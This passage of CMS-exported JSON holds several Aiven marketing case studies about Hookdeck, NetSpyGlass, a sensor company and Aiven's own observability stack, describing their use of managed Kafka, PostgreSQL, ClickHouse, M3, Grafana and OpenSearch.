thanks to its APIs, and to the Terraform provider that Aiven put out there, we’ve managed to automate almost everything: configuration, deployment, and maintenance. The automation has given us a lot of speed ín the development work. It’s also provided security, not just in terms of protecting against malicious things, but also in terms of not making a mistake. So we can change our configuration and scale up. We got rid of those performance problems!”"}],"markDefs":[],"style":"normal"},{"_key":"28aff36d39e9","_type":"block","children":[{"_key":"4756db2d329a0","_type":"span","marks":[],"text":"Another clear benefit is improved observability. “Before, it was really hard to understand the health of the system-we didn't really know if the system was about to be overloaded or not."}],"markDefs":[],"style":"normal"},{"_key":"be7d4d6b187e","_type":"block","children":[{"_key":"afdd49e4ec9b0","_type":"span","marks":[],"text":"It was only when a problem happened that we knew that it was in bad shape.”"}],"markDefs":[],"style":"normal"},{"_key":"2e3723114632","_type":"block","children":[{"_key":"1a91696165480","_type":"span","marks":[],"text":"Thanks to the metrics that Apache Kafka offers, that’s now history. “We can react early on when something is happening and our DevOps person sleeps better at night. Besides, in the system I can track only the metrics I’m interested in, and not get flooded with data I wasn’t asking for."}],"markDefs":[],"style":"normal"},{"_key":"ac69004024a8","_type":"block","children":[{"_key":"9a9458eec8b60","_type":"span","marks":[],"text":"And those sensor installations? The signal checking time has gone from 5 minutes to 1 second. It’s not only Apache Kafka but also new microservices that are easy to build on top of it."}],"markDefs":[],"style":"normal"},{"_key":"873995209f8e","_type":"block","children":[{"_key":"675d001872f50","_type":"span","marks":[],"text":"Rob says innovation is easy with Apache Kafka. “We've been able to offer some additional services that we wouldn't have been able to offer before. For example, our customers can now receive their readings via webhook, and soon also via a MQTT streaming service. With Apache Kafka, we can automatically spin up services without any manual steps.\""}],"markDefs":[],"style":"normal"},{"_key":"9649cb6bb2f7","_type":"block","children":[{"_key":"244d462d0c4e0","_type":"span","marks":[],"text":"Both Rob and Carlos are happy enough with their current setup to want more of the same. “We're always changing our systems, of course. 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{"__i18n_lang":"en","_createdAt":"2023-06-13T10:55:17Z","_id":"52573ae1-b86a-4fca-9ad8-9893a5596585","_rev":"on5KSabgAN0raW406Y4ppl","_type":"caseStudy","_updatedAt":"2024-02-08T14:55:37Z","company":{"_ref":"3aeed013-8049-4126-87df-a37af41ae111","_type":"reference"},"content":[{"_key":"069e45dee81a","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"auto","backgroundSizeMobile":"auto","disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"rounded":false,"subtitle":[{"_key":"65a5cd4337fc","_type":"block","children":[{"_key":"08eb804eda520","_type":"span","marks":[],"text":"Hookdeck is a fast-growing tech start-up with ambitious goals. It provides a webhook infrastructure that handles the ingestion and error handling, ensuring users receive all their webhooks. The company has secured US $2.4 million in seed funding and has a worldwide customer base already. As Hookdeck has grown, the amount of webhooks and associated data it must handle has exploded too. To handle this, it has built a fast, reliable and scalable cloud data infrastructure using a broad portfolio of managed services from Aiven. This includes Aiven for Clickhouse®, a cloud data warehouse which analyzes huge amounts of data in real time for Hookdeck’s customers. This solution has delivered a 30x performance uplift while halving the associated storage requirement and bringing clear cost saving benefits."}],"markDefs":[],"style":"normal"}],"variant":"oneColumn"},{"_key":"f40f31e3554f","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"auto","backgroundSizeMobile":"auto","disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"rounded":false,"subtitle":[{"_key":"53eb95c8eaab","_type":"block","children":[{"_key":"854c4036ae750","_type":"span","marks":[],"text":"Launched in 2021, Hookdeck is a fast-growing Québec-based start-up poised to disrupt the tech world. The company’s goal is to build the default solution for sending and receiving asynchronous event data between systems. In 2022 it raised US $2.4 million in seed funding and it already boasts hundreds of customers worldwide including Canal, Contra, Gorgias and Gemini."}],"markDefs":[],"style":"normal"},{"_key":"1c65c716490f","_type":"block","children":[{"_key":"594b444c85ff0","_type":"span","marks":[],"text":"Hookdeck solves a webhook challenge facing many developers. Webhooks are automated messages sent between applications, facilitating the sharing of information in real time amongst online platforms. Usually, a consumer will register with a provider, and when an event occurs on the provider side, they will issue a webhook containing some information about that event. This avoids the need for consumers to poll the provider's API, putting unnecessary strain on their servers. Historically developers have struggled with the lack of visibility into webhook failures and the subsequent limited ability to fix them, as well as with handling traffic spikes. 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However, it was soon in need ofPGBouncer,a lightweight connection pooler for PostgreSQL, which at the time was not offered by Google. Hookdeck discovered the Aiven for PostgreSQL® service which offers connection pooling utilizing PGBouncer and signed up."}],"markDefs":[],"style":"normal"},{"_key":"58de29ab0080","_type":"block","children":[{"_key":"2ebda9e50f590","_type":"span","marks":[],"text":"“I’m passionate about open source and I immediately liked Aiven because it takes open source and productizes it with minimal changes and without creating any lock-ins,” says Maurice Kherlakian, Founding Engineer and CTO, Hookdeck."}],"markDefs":[],"style":"normal"},{"_key":"f7b0eeef2938","_type":"block","children":[{"_key":"20d1e40558630","_type":"span","marks":[],"text":"The company was also attracted by the "},{"_key":"20d1e40558631","_type":"span","marks":["ea8ff3bd3053"],"text":"Aiven Cluster startup program"},{"_key":"20d1e40558632","_type":"span","marks":[],"text":" which provided technical expertise and a credit of US $100,000 when Hookdeck joined. “The Aiven Cluster startup program was a big help for us. Tapping into Aiven’s expertise and having monetary credits offers tremendous value to young companies getting off the ground,” says Kherlakian."}],"markDefs":[{"_key":"ea8ff3bd3053","_type":"link","href":"https://aiven.io/cluster"}],"style":"normal"},{"_key":"1f7ff21c0d92","_type":"block","children":[{"_key":"68a339cd5b390","_type":"span","marks":[],"text":"Hookdeck used Aiven for PostgreSQL on Google Cloud as its primary data store, tracking connections, user profiles, webhook state transitions and more. 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BigQuery had the capacity to store data from the first day of Hookdeck’s history and to run business intelligence queries on the occasions that Hookdeck required. The company needed a highly available data streaming solution to transfer the data from PostgreSQL to BigQuery. It was keen on Apache Kafka and, already convinced of the value of using Aiven’s managed services, it chose Aiven for Apache Kafka®."}],"markDefs":[],"style":"normal"},{"_key":"a9a6f3c42ee2","_type":"block","children":[{"_key":"a9bdc6b23b840","_type":"span","marks":[],"text":"Part of the appeal of Kafka was the rich ecosystem of Kafka connectors, and Aiven helped Hookdeck take advantage of this. “By using Aiven for Apache Kafka® Connect, we could tap into the great tooling that’s available. We spent some time fine-tuning the integrations and ended up with staggering performance levels. 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Previously, the histograms for the larger workspaces would take around 30 seconds to load. Now it takes less than a second,” says Kherlakian."}],"markDefs":[],"style":"normal"},{"_key":"ef2c3d367a76","_type":"block","children":[{"_key":"3751ada2a6ac0","_type":"span","marks":[],"text":"Thanks to its excellent data compression ability, the storage requirements and costs have been significantly reduced. The data in Clickhouse uses 700 gigabytes of storage, compared to the 1.5 terabytes required in PostgreSQL."}],"markDefs":[],"style":"normal"},{"_key":"d58e8e979c02","_type":"block","children":[{"_key":"61ed20b16acd0","_type":"span","marks":[],"text":"By using a broad range of Aiven services, Hookdeck has built a reliable, integrated data infrastructure on Google Cloud which leverages the best of open source technologies. “There are huge benefits from getting multiple services from Aiven,” says Kherlakian. “We only have one vendor to onboard, everything is compliant and billing is consolidated. From an engineering perspective, we’re dealing with something that’s familiar and, because all the services are integrated, adding another one is really easy.”"}],"markDefs":[],"style":"normal"},{"_key":"01b3dffd1cbf","_type":"block","children":[{"_key":"f4d14cd897ca0","_type":"span","marks":[],"text":"The scalability of the cloud data infrastructure that Aiven provides is another important benefit as the company’s rapid growth trajectory continues. The number of webhooks Hookdeck processes is significantly increasing every month and as the corresponding influx of data flows through its infrastructure, Hookdeck can easily scale its Aiven services, increasing storage, nodes and clusters as required. “I can think of quite a few times when our database has been saturated and we needed a bigger instance. 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When evaluating a new technology, his team must consider what it will take to maintain it in the future. “Aiven not only makes it easy to implement, but its support team takes all the stress out of managing it,” says Kherlakian. “That allows our team to focus on building the best possible webhook infrastructure.”"}],"markDefs":[],"style":"normal"}],"title":"‘Seriously impressive’ performance with Aiven for Clickhouse","variant":"oneColumn"},{"_key":"8d9f95294449","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"auto","backgroundSizeMobile":"auto","disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"rounded":false,"subtitle":[{"_key":"79d4da1eb70a","_type":"block","children":[{"_key":"7f6b85cfe1430","_type":"span","marks":[],"text":"The start-up currently has seven people but is actively recruiting to help scale its platform and support the anticipated growth in business. “We currently handle around half a billion webhooks a month and we’re well on our way to billions. My engineering team has a mission to create an architecture that supports tens of billion,” says Kherlakian. “As an organization, we’re driven to build services that enable developers across the world to focus more on creating what they love, while relying on us to ingest and process their event data. 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{"__i18n_lang":"en","_createdAt":"2022-09-23T11:12:00Z","_id":"6ba95c64-4c92-4133-bf13-f866097f2d2c","_rev":"aqN8LslQ3cZYmtCXIu2BYg","_type":"caseStudy","_updatedAt":"2024-02-08T17:29:27Z","company":{"_ref":"2BACGWdhEhfcQse2RSiztJ","_type":"reference"},"content":[{"_key":"1be9fbf318af","_type":"textColumn","disabled":false,"fullWidth":false,"rounded":false,"subtitle":[{"_key":"5db3fa5c4d12","_type":"block","children":[{"_key":"02094cc820d70","_type":"span","marks":[],"text":"NetSpyGlass is a cloud-native network monitoring automation built to replace the hodgepodge and tangle of homespun network management and monitoring frameworks."}],"markDefs":[],"style":"normal"},{"_key":"1fafa08033b5","_type":"block","children":[{"_key":"18c0c00fe621","_type":"span","marks":[],"text":"\nStarted in the mid 2010’s, the company single-handedly built a popular solution that allows network operators to combine and automate network monitoring across multiple vendors with powerful aggregate insights.\n"}],"markDefs":[],"style":"normal"},{"_key":"1c2c10219c67","_type":"block","children":[{"_key":"6f6d2c9ca431","_type":"span","marks":[],"text":"What’s more, the company has become a go-to in their industry by supporting a range of the most popular device vendors — all with a small team and in a relatively short time."}],"markDefs":[],"style":"normal"},{"_key":"12a9b23ab8b8","_type":"block","children":[{"_key":"2ce24a4994d10","_type":"span","marks":[],"text":"The company’s solution offers a broad selection of data-intensive features that include automation, analytics, discovery, mapping, real-time monitoring, searches, threshold alerting, visualization/dashboard capabilities, and reporting.\n"}],"markDefs":[],"style":"normal"},{"_key":"f03551a32570","_type":"block","children":[{"_key":"9413087c86ef","_type":"span","marks":[],"text":"And with scripting support and extensibility, a NetSpyGlass solution can be easily tailored to fit each network manager’s unique requirements, allowing users to use as many of the features as they need or even add their own. However, building the data backbone for a solution widely known for its customizability — with so few hands on deck — presented a unique challenge."}],"markDefs":[],"style":"normal"}],"title":"Overview","variant":"oneColumn"},{"_key":"9c9dcac99e13","_type":"textColumn","disabled":false,"fullWidth":false,"rounded":false,"subtitle":[{"_key":"1dbdda832b24","_type":"block","children":[{"_key":"fb34cda386050","_type":"span","marks":[],"text":"The team originally started with a variety of on-premises, self-managed database and messaging solutions that included Redis, PostgreSQL, MySQL,  and Apache Kafka. But managing these systems quickly got out of hand."}],"markDefs":[],"style":"normal"}],"title":"The challenge","variant":"oneColumn"},{"_key":"024af89006b2","_type":"testimonial","disabled":false,"fullWidth":false,"isCarousel":false,"isHideItemLink":true,"isHideMedia":true,"items":[{"_key":"8d61e374a3bb","_ref":"5MBWForfnNzyMsTPqjYKk4","_type":"reference"}],"rounded":false,"variant":"media"},{"_key":"9de4d9db89e6","_type":"textColumn","disabled":false,"fullWidth":false,"rounded":false,"subtitle":[{"_key":"a65b15d96a00","_type":"block","children":[{"_key":"77a4079085600","_type":"span","marks":[],"text":"The team needed to figure out exactly what solutions were needed, as well as hit the right benchmarks across all of them to meet their SLAs. This task included running and managing a series of databases on site, and then repeating the process with a range of cloud providers while comparing things like read and write speeds, latency, costs and ease-of-use to come up with the right mix."}],"markDefs":[],"style":"normal"}],"variant":"oneColumn"},{"_key":"0e98ed961c28","_type":"textColumn","disabled":false,"fullWidth":false,"rounded":false,"subtitle":[{"_key":"f9f1a209b392","_type":"block","children":[{"_key":"20a521920e3d0","_type":"span","marks":[],"text":"When Alexander joined, he was already using Terraform to provision a range of data backend services. Terraform was already quite useful to the team because of the myriad of interfaces and connectors already available for it. With the\nhelp of an Aiven how-to article, he started using Terraform to provision a range of Aiven services."}],"markDefs":[],"style":"normal"},{"_key":"78628a65384a","_type":"block","children":[{"_key":"eba8b1869e45","_type":"span","marks":[],"text":"As during their innovation cycle, the speed of service provisioning increased dramatically, making Aiven service adoption a 1-2 punch. “Terraform-based deployment today basically involves provisioning a new PostgreSQL or Kafka\nservice from Aiven. This now takes about 15-20 minutes, end-to-end.”"}],"markDefs":[],"style":"normal"}],"title":"The solution","variant":"oneColumn"},{"_key":"d04632a649a7","_type":"textColumn","disabled":false,"fullWidth":false,"rounded":false,"subtitle":[{"_key":"022b3bca4143","_type":"block","children":[{"_key":"9b14b70ba1b50","_type":"span","marks":[],"text":"Aiven’s solutions helped the team develop, benchmark and manage a complicated data backend by shortening the cycle of innovation and simplifying core service management. He adds: “The point of using Aiven is to avoid being an expert in every area, right? So you just outsource whatever piece of our infrastructure elsewhere and have the experts in these things, maintain it, support it, upgrade it.”"}],"markDefs":[],"style":"normal"},{"_key":"ed1864b01649","_type":"block","children":[{"_key":"b0137b4efc670","_type":"span","marks":[],"text":"What’s more, the team found Aiven’s service delivery model to be a good inspiration for their own. Alexander elaborates: “Aiven’s deployment model is basically self-service. In fact, our product owner wants us to follow that and make our own monitoring service as easy to deploy.”"}],"markDefs":[],"style":"normal"},{"_key":"b2f693a9c2ba","_type":"block","children":[{"_key":"4aa2a8b8f6ce","_type":"span","marks":[],"text":"He says that NetSpyGlass is moving toward building out their own web application and command-line interfaces that will manage tasks like updates, maintenance, customer signups. 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{"__i18n_lang":"en","_createdAt":"2022-09-16T13:37:42Z","_id":"c5434a78-da19-4156-a28c-3d54f7dbdabf","_rev":"aqN8LslQ3cZYmtCXIvIccC","_type":"caseStudy","_updatedAt":"2024-02-09T09:07:32Z","company":{"_ref":"4TqpVisLv0iRqpMCA1uvHK","_type":"reference"},"content":[{"_key":"a0ebd45d4abe","_type":"textColumn","disabled":false,"fullWidth":false,"rounded":false,"subtitle":[{"_key":"f0ab02b80455","_type":"block","children":[{"_key":"297c5eadf3070","_type":"span","marks":[],"text":"All-OS solution."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"f36e77a24a25","_type":"block","children":[{"_key":"ba83774eb4e70","_type":"span","marks":[],"text":"Enormous amounts of data: Tens of thousands of nodes, thousands of metrics for each; 40 million unique metrics data points, most of them twice every minute; 1.3B unaggregated non-replicated time series in storage; 1TB of unaggregated data per week."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"6dfcf012661f","_type":"block","children":[{"_key":"d87da7c38ed40","_type":"span","marks":[],"text":"Very fast scaling."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"}],"title":"Highlights","variant":"oneColumn"},{"_key":"27d80dbde69f","_type":"textColumn","disabled":false,"fullWidth":false,"rounded":false,"subtitle":[{"_key":"919c42cb3ed1","_type":"block","children":[{"_key":"4530f462e4750","_type":"span","marks":[],"text":"Aiven has a few business requirements that further impact the choice of solution, in addition to the general pain points listed above; or maybe supercharging the pain they cause."}],"markDefs":[],"style":"normal"},{"_key":"8cb9ab357c86","_type":"block","children":[{"_key":"e38e314c24130","_type":"span","marks":[],"text":"Firstly, Aiven’s system generates a huge amount of data. We have tens of thousands of nodes running, and we collect thousands of metrics for each node. At any one time, we currently process 40 million unique metrics data points, most of them twice every minute. We have 1.3B unaggregated non-replicated time series in storage. In just one week, the amount of unaggregated data currently amounts to about 1TB."}],"markDefs":[],"style":"normal"},{"_key":"7379b2784929","_type":"block","children":[{"_key":"9f9e7281b0760","_type":"span","marks":[],"text":"And on the other side, we have hundreds of different alert rules that are triggered by these metrics."}],"markDefs":[],"style":"normal"},{"_key":"e96bac4712fa","_type":"block","children":[{"_key":"ba43f353b4d60","_type":"span","marks":[],"text":"This means Aiven needs a very robust solution, one that is capable of very large and fast throughput. It also needs to be able to physically store all that data. This limits the number of solutions we can even consider."}],"markDefs":[],"style":"normal"},{"_key":"f6fc6c63688f","_type":"block","children":[{"_key":"71f52f59325b0","_type":"span","marks":[],"text":"Secondly, the amount of data keeps growing and growing. This means we also need a readily scalable solution. Companies with slower growth or in a business model that doesn’t increase the amount of monitoring can scale up at a slower pace and have a bit more time to plan and execute."}],"markDefs":[],"style":"normal"},{"_key":"a911d1a6268f","_type":"block","children":[{"_key":"40c25e1197ba0","_type":"span","marks":[],"text":"Added to that, when Aiven started out, we were just another tiny startup, strapped for cash but filled to the brim with programming experience. So naturally we looked for inexpensive solutions that we could use our experience and expertise to integrate into a proper observability platform."}],"markDefs":[],"style":"normal"},{"_key":"b28c6ee553eb","_type":"block","children":[{"_key":"fc8c2f66cdcc0","_type":"span","marks":[],"text":"And to top it off, we definitely wanted to go open source. Not just for the price but also because it’s just what we do with our lives."}],"markDefs":[],"style":"normal"},{"_key":"1c9833b13f6e","_type":"block","children":[{"_key":"81408f854f5a0","_type":"span","marks":[],"text":"Eventually, after many iterations, we’ve come up with an overall solution for internal observability that addresses these points and does a pretty good job. Well okay, an excellent job in fact."}],"markDefs":[],"style":"normal"},{"_key":"6fff17c94285","_type":"block","children":[{"_key":"8d3861bb8cbb0","_type":"span","marks":[],"text":"We’re seeing a lot of other companies out there struggling with their monitoring solutions. We now invite you to take a step back and look at the larger picture. We offer a way out of the labyrinth of multiple monitoring tools, up onto the promontory offering a magnificent, integrated view of your data status."}],"markDefs":[],"style":"normal"}],"title":"The challenge","variant":"oneColumn"},{"_key":"5366cccb5763","_type":"testimonial","disabled":false,"fullWidth":false,"isHideItemLink":true,"isHideMedia":true,"items":[{"_key":"9c14500b42fc","_ref":"6cA8XxCFwLgb6UcsVztkdm","_type":"reference"}],"rounded":false,"variant":"media"},{"_key":"49fabfaaf75d","_type":"textColumn","disabled":false,"fullWidth":false,"rounded":false,"subtitle":[{"_key":"e50ef9d0b118","_type":"block","children":[{"_key":"c4a252aa7a250","_type":"span","marks":[],"text":"We’ve been using this solution (or its direct predecessors) for years because it’s robust and versatile. The building blocks we’ve used to construct our solution are:"}],"markDefs":[],"style":"normal"},{"_key":"96faeaa985a9","_type":"block","children":[{"_key":"3174cfd89fc10","_type":"span","marks":[],"text":"M3 as a metrics engine"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"deb4aba6357f","_type":"block","children":[{"_key":"79d5ac9d14b30","_type":"span","marks":[],"text":"Grafana® for dashboards and alerts"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"82d541fe96ac","_type":"block","children":[{"_key":"45028e21da070","_type":"span","marks":[],"text":"OpenSearch for examining logs, combined with OpenSearch dashboards as a search UI"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"ef42ea2ea560","_type":"block","children":[{"_key":"afdd098e93030","_type":"span","marks":[],"text":"These plug into agents collecting metrics and logs, Telegraf™ and Logstash respectively.\n\nAiven actually started with InfluxDB® as our time series database, but the increasing number of metrics we collected forced us to find something new. On a practical level, the InfluxDB based solution generated duplicate alerts which was annoying."}],"markDefs":[],"style":"normal"},{"_key":"4a9583b17381","_type":"block","children":[{"_key":"e85bf5ec42ca0","_type":"span","marks":[],"text":"“M3 was the best heavy-duty option,” says Markus Stenberg, one of Aiven’s Staff Software Engineers. “It’s used by several large companies and "},{"_key":"e85bf5ec42ca1","_type":"span","marks":["1beb628da8f4"],"text":"it’s horizontally scalable"},{"_key":"e85bf5ec42ca2","_type":"span","marks":[],"text":". Its architecture is also simple enough to be robust and comprehensible.”"}],"markDefs":[{"_key":"1beb628da8f4","_type":"link","href":"https://docs.aiven.io/docs/products/m3db/concepts/scaling-m3"}],"style":"normal"},{"_key":"a232c59d94cd","_type":"block","children":[{"_key":"dd203cf06b940","_type":"span","marks":[],"text":"“It’s not perfect by any means, but we’ve done our best to plug the biggest holes. For example, upstream M3 is network-intensive because it doesn’t compress traffic. We’ve built compression into our own branch, though, and now we’re just waiting for the upstream project to merge our work,” Stenberg says."}],"markDefs":[],"style":"normal"},{"_key":"f6aee90f8173","_type":"block","children":[{"_key":"55acb0887b950","_type":"span","marks":[],"text":"Our own use of M3 was what gave us the idea to start offering Aiven for M3 so that you, too, could benefit. "}],"markDefs":[],"style":"normal"},{"_key":"f98e9ef5af6e","_type":"image","asset":{"_ref":"image-68fd08d4def37d9298416749beb3a868e0e48e4e-2500x1308-png","_type":"reference"}},{"_key":"c6c4c56b4344","_type":"block","children":[{"_key":"7bc19bfe87640","_type":"span","marks":[],"text":"Comprehensive logging"}],"markDefs":[],"style":"h3"},{"_key":"ac0df88ae2c4","_type":"block","children":[{"_key":"961fb30169700","_type":"span","marks":[],"text":"We use logs for multiple purposes. “They’re like the Swiss Army Knife of data collection,” says Eloranta. “Log entries are easy to collect, move and transform using open source components.”"}],"markDefs":[],"style":"normal"},{"_key":"83a6eb14fcad","_type":"block","children":[{"_key":"b79d5ce154d00","_type":"span","marks":[],"text":"In troubleshooting, it’s helpful that we collect so many logs. You often don’t know what you’ll need before you need it, and having fine-grained data helps us analyse fault situations quickly and accurately."}],"markDefs":[],"style":"normal"},{"_key":"a6153cd8d22d","_type":"block","children":[{"_key":"220b66362c250","_type":"span","marks":[],"text":"Listening to the heartbeat"}],"markDefs":[],"style":"h3"},{"_key":"cdb9edfca465","_type":"block","children":[{"_key":"35e0864f33380","_type":"span","marks":[],"text":"But Aiven doesn’t just rely on logs for failure detection. Many layers are needed to ensure that alerts are triggered correctly."}],"markDefs":[],"style":"normal"},{"_key":"8c07c418e19a","_type":"block","children":[{"_key":"ff3de7f1c5350","_type":"span","marks":[],"text":"Aiven uses heartbeat-based monitoring to complement the telemetry collection. This ensures that if the telemetry-producing systems go down, the receiving systems don’t just sit there waiting for a signal that never comes. Instead, they know they’re supposed to be receiving a ping, so if nothing happens, it triggers an action because something is wrong."}],"markDefs":[],"style":"normal"},{"_key":"0ebdf45c1ec6","_type":"block","children":[{"_key":"147b4ffc5a700","_type":"span","marks":[],"text":"Alert rule maintenance"}],"markDefs":[],"style":"h3"},{"_key":"dbff2a975b11","_type":"block","children":[{"_key":"a863df58842d0","_type":"span","marks":[],"text":"We also keep working on our alert rules all the time to ensure that they cover all possible failure cases. That work will never be finished, because there’s no way for any list of failures to be complete and comprehensive, but we’re making the serious effort anyway."}],"markDefs":[],"style":"normal"},{"_key":"b3a5cb81ab34","_type":"block","children":[{"_key":"5f724953deb20","_type":"span","marks":[],"text":"“Let’s say one of our ops team members notices we’ve run out of file descriptors, for example,” says Eloranta. “This makes them realise it’s a good case to build an alert for. So because we already collect the metrics, it’s easy to create a graph in Grafana to discover the normal variation in file descriptors used. That figure can then become the basis for a new file descriptor use alert.”"}],"markDefs":[],"style":"normal"},{"_key":"feccdd1b9a03","_type":"block","children":[{"_key":"5895ec7c82c00","_type":"span","marks":[],"text":"Alerts incoming"}],"markDefs":[],"style":"h3"},{"_key":"953090b3388e","_type":"block","children":[{"_key":"6c66493acce00","_type":"span","marks":[],"text":"When a fault has been detected, the Aiven team is notified by several concurrent and consecutive channels, like phone alerts and Slack messages."}],"markDefs":[],"style":"normal"},{"_key":"606e350d6753","_type":"block","children":[{"_key":"3442c10f54250","_type":"span","marks":[],"text":"But since Aiven’s system has so many alerts configured, doesn’t the team get a bad case of alert fatigue? Eloranta says no."}],"markDefs":[],"style":"normal"},{"_key":"84efc9200cfa","_type":"block","children":[{"_key":"215fdb8f209f0","_type":"span","marks":[],"text":"“It depends on how robust your system is,” he says. “If you have lots of alerts and your system is on fire every day, of course you’ll stop paying attention to them. That tells you to shift your focus from reactive to proactive and start fixing the system. Aiven has always addressed the root causes first. You can’t avoid alerts altogether in a big system, especially in the cloud, but you can try.”"}],"markDefs":[],"style":"normal"}],"title":"The solutions","variant":"oneColumn"},{"_key":"cb4dedce2ce7","_type":"testimonial","disabled":false,"fullWidth":false,"isHideItemLink":true,"isHideMedia":true,"items":[{"_key":"70b7e5b0fc18","_ref":"5J9HPxL6cbe0ZgOiSueO0U","_type":"reference"}],"rounded":false,"variant":"media"},{"_key":"729516bfbeb4","_type":"textColumn","disabled":false,"fullWidth":false,"rounded":false,"subtitle":[{"_key":"cc1e614aa016","_type":"block","children":[{"_key":"e5eb1f23ab790","_type":"span","marks":[],"text":"If you take a look at the graphic above, you’ll note that a lot of those building blocks are available through Aiven. You can in fact build a system similar to ours using Aiven products."}],"markDefs":[],"style":"normal"},{"_key":"2eb1d4dc88a4","_type":"block","children":[{"_key":"44def513a13a0","_type":"span","marks":[],"text":"True, you could just sign up for a complete service package like Datadog to get all of these observability goodies. Also true that it’s easier than assembling your own. However, it’s also more expensive, and will leave you locked in with their offering, which Aiven’s open source tools will never do. (We’d also like to make the case that building stuff is fun, so Aiven will provide you with that extra pleasure!)"}],"markDefs":[],"style":"normal"},{"_key":"6a6ab838d6a1","_type":"block","children":[{"_key":"e0095a4bc53f0","_type":"span","marks":[],"text":"Just as a side note, let’s make the context crystal clear: Aiven’s observability solution can be copied directly to keep an eye on absolutely any system. We’re not talking about monitoring Aiven services here. We’re saying you can take this solution and use it to observe whatever it is you’re currently observing, or still building."}],"markDefs":[],"style":"normal"},{"_key":"affbd5b73b2f","_type":"block","children":[{"_key":"13b42c3731410","_type":"span","marks":[],"text":"Exactly what components you need depends of course on what you already have, but let’s just take a stroll through the complete roundup."}],"markDefs":[],"style":"normal"},{"_key":"f042027d2a89","_type":"block","children":[{"_key":"8646f56cf58d0","_type":"span","marks":[],"text":"Metrics"}],"markDefs":[],"style":"h3"},{"_key":"f3998cdc80d0","_type":"block","children":[{"_key":"dbcea2aacd450","_type":"span","marks":[],"text":"If you’re "},{"_key":"dbcea2aacd451","_type":"span","marks":["f10316cafb97"],"text":"already using Prometheus"},{"_key":"dbcea2aacd452","_type":"span","marks":[],"text":" or Graphite as your monitoring solution, you can just plug "},{"_key":"dbcea2aacd453","_type":"span","marks":["797439d2a6a1"],"text":"Aiven for M3"},{"_key":"dbcea2aacd454","_type":"span","marks":[],"text":" into that. Otherwise, you can use something else like Telegraf to collect the metrics and pass them right on to M3. "}],"markDefs":[{"_key":"f10316cafb97","_type":"link","href":"https://aiven.io/blog/5-1-reasons-to-extend-your-prometheus-with-m3"},{"_key":"797439d2a6a1","_type":"link","href":"https://aiven.io/m3"}],"style":"normal"},{"_key":"e16e5ed156d4","_type":"block","children":[{"_key":"1af58354b4e40","_type":"span","marks":["strong"],"text":"Logs"}],"markDefs":[],"style":"h3"},{"_key":"120ca3d71d38","_type":"block","children":[{"_key":"d9835083f5ac0","_type":"span","marks":[],"text":"Logstash is a great open source component that can then forward the logs it collects to "},{"_key":"d9835083f5ac1","_type":"span","marks":["02ec221ac33d"],"text":"Aiven for OpenSearch®"},{"_key":"d9835083f5ac2","_type":"span","marks":[],"text":". To make your logs more usable, you can set up OpenSearch dashboards as a user interface, too. It’s included in Aiven for OpenSearch."}],"markDefs":[{"_key":"02ec221ac33d","_type":"link","href":"https://aiven.io/opensearch"}],"style":"normal"},{"_key":"f7c70caaa5aa","_type":"block","children":[{"_key":"002a40bb3b670","_type":"span","marks":["strong"],"text":"Visualisation"}],"markDefs":[],"style":"h3"},{"_key":"59a0cb2befe7","_type":"block","children":[{"_key":"ec3728fb1ec70","_type":"span","marks":["55c7554cb3f8"],"text":"Aiven for Grafana®"},{"_key":"ec3728fb1ec71","_type":"span","marks":[],"text":" is a great way to collect Everything™ into a UI for easy access. You can also use it to configure the system to send alerts and updates through other channels."}],"markDefs":[{"_key":"55c7554cb3f8","_type":"link","href":"https://aiven.io/grafana"}],"style":"normal"},{"_key":"266dfd6f6583","_type":"block","children":[{"_key":"f6f490392a3c0","_type":"span","marks":[],"text":"With Aiven’s solution, you get the familiar Aiven Console or CLI to set up the whole kaboodle, and you can do that in minutes."}],"markDefs":[],"style":"normal"},{"_key":"5888bd3e4639","_type":"block","children":[{"_key":"e145cf2a87d60","_type":"span","marks":[],"text":"As the icing on the cake, you can be sure that your solution works, because Aiven’s business literally depends on it working. That’s why we’ve done it this way. “We eat our own dogfood,” says Eloranta. “Because we use the products we offer to customers ourselves, we know how they work from a user perspective, and how to keep them working for our customers.”"}],"markDefs":[],"style":"normal"}],"title":"The outcome","variant":"oneColumn"},{"_key":"9a7d608ef363","_type":"testimonial","disabled":false,"fullWidth":false,"isHideItemLink":true,"isHideMedia":true,"items":[{"_key":"e2f2ee9c1d73","_ref":"4GcqQ09ea5VFfCphgV3D1D","_type":"reference"}],"rounded":false,"variant":"media"}],"contentIsGated":false,"downloadLink":"https://go.aiven.io/aiven-cs-observability-for-aiven-en","heroSubtitle":"Aiven has built a solid observability solution that our customers can also adopt by using the open source building blocks provided by Aiven.","heroTitle":"Open source tools provide observability for Aiven","hostProviders":[{"_key":"216580d3dfc0","_ref":"adc248e9-c65b-45b5-a4e6-930767897444","_type":"reference"},{"_key":"d08d8a3ea867","_ref":"080b4781-d7b8-4d95-8aa6-aeb4989bf5c6","_type":"reference"},{"_key":"70501bf145e4","_ref":"2c2f2baa-24b0-4b7a-812b-bed3f20f2030","_type":"reference"},{"_key":"3ec7ac8237bc","_ref":"62e1cd4e-b8a5-4a68-a78f-80cd075c17e6","_type":"reference"},{"_key":"10c2a071e9a6","_ref":"6ed4cb03-b0d9-4009-bbf7-382ca41bcf26","_type":"reference"}],"iframeSource":{"iframeHeight":800},"image":{"_type":"mainImage","asset":{"_ref":"image-ecbf664fda86beab1c20f268be58f9b2a75f9ef0-1920x1037-jpg","_type":"reference"}},"industry":[{"_id":"b9ecd6d1-5e64-473a-9efc-416ea4596d01","label":"Software and 